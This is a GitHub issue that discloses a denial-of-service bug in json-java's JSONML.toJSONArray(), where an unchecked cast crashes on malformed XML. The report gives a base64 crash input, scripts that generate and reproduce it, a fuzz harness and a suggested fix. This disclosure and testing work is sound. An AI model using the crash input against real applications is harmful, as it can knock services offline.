-
Notifications
You must be signed in to change notification settings - Fork 2.6k
Description
Summary
JSONML.toJSONArray() performs an unsafe cast of the return value from the internal parse() method. When processing malformed XML input, parse() returns a String instead of JSONArray, causing ClassCastException and crashing applications that don't explicitly catch this unchecked exception.
Root Cause
The parse() method returns Object type, but toJSONArray() casts directly without type checking:
Vulnerable Code (JSONML.java:279)
public static JSONArray toJSONArray(String string) throws JSONException {
// parse() returns Object, but may actually return String for malformed input
return (JSONArray)parse(new XMLTokener(string), true, null,
JSONMLParserConfiguration.ORIGINAL, 0);
// No type check before cast!
}PoC
Trigger file
A crafted crash_input.bin file (13 bytes) containing malformed XML:
- Starts with
<\n/(open tag with newline and slash) - Contains invalid UTF-8 bytes
0xFF - Causes
parse()to return String instead of JSONArray
How to generate crash_input.bin
# Base64 decode
echo "PAov//////////8+Qg==" | base64 -d > crash_input.bin
# Verify (should be 13 bytes)
xxd crash_input.bin
# Output: 3c0a 2fff ffff ffff ffff ff3e 42# crash_gen.py
import base64
payload = base64.b64decode("PAov//////////8+Qg==")
with open("crash_input.bin", "wb") as f:
f.write(payload)
print(f"Generated crash_input.bin ({len(payload)} bytes)")Trigger Method 1: Direct API Call (Library Usage)
Since json-java is a library, applications trigger this by calling the API directly:
import org.json.JSONML;
import java.nio.file.Files;
import java.nio.file.Path;
public class ReproduceJSONML {
public static void main(String[] args) throws Exception {
// Read crash input
byte[] data = Files.readAllBytes(Path.of("crash_input.bin"));
String input = new String(data);
// This throws ClassCastException
JSONML.toJSONArray(input);
}
}Build and run:
# Compile json-java library
javac -d . src/main/java/org/json/*.java
# Compile and run reproduction
javac -cp . ReproduceJSONML.java
java -cp . ReproduceJSONMLOutput:
java.lang.ClassCastException: class java.lang.String cannot be cast to class org.json.JSONArray
at org.json.JSONML.toJSONArray(JSONML.java:279)
at ReproduceJSONML.main(ReproduceJSONML.java:10)
Trigger Method 2: Fuzzer (Jazzer)
// Copyright 2025 O2Lab
// SPDX-License-Identifier: Apache-2.0
import org.json.JSONML;
import org.json.JSONException;
import java.nio.charset.StandardCharsets;
public class JsonMLFuzzer {
public static void fuzzerTestOneInput(byte[] data) {
String input = new String(data, StandardCharsets.UTF_8);
try {
JSONML.toJSONArray(input);
} catch (JSONException e) {
// Expected parsing errors - ignore
}
// ClassCastException is NOT caught - will crash fuzzer
}
}Build and run with Jazzer:
# Build with oss-fuzz / Jazzer
python3 infra/helper.py build_fuzzers --clean json-java
# Run fuzzer
./JsonMLFuzzer -rss_limit_mb=2048 corpus/Impact
| Aspect | Details |
|---|---|
| Type | Denial of Service (DoS) |
| Severity | Medium |
| Attack Vector | Malformed XML input to JSONML.toJSONArray() |
| Affected Components | JSONML.toJSONArray(), JSONML.toJSONArray(XMLTokener) |
| Affected Versions | All versions up to 20251224 |
| CWE | CWE-704 (Incorrect Type Conversion or Cast) |
Suggested Fix
Add type checking before the cast:
public static JSONArray toJSONArray(String string) throws JSONException {
Object result = parse(new XMLTokener(string), true, null,
JSONMLParserConfiguration.ORIGINAL, 0);
if (result instanceof JSONArray) {
return (JSONArray) result;
}
throw new JSONException("Expected JSONArray but got " +
result.getClass().getSimpleName());
}Contribution: This potential vulnerability was found by AI-Based Vuln Detection system FuzzingBrain https://github.com/o2lab/afc-crs-all-you-need-is-a-fuzzing-brain.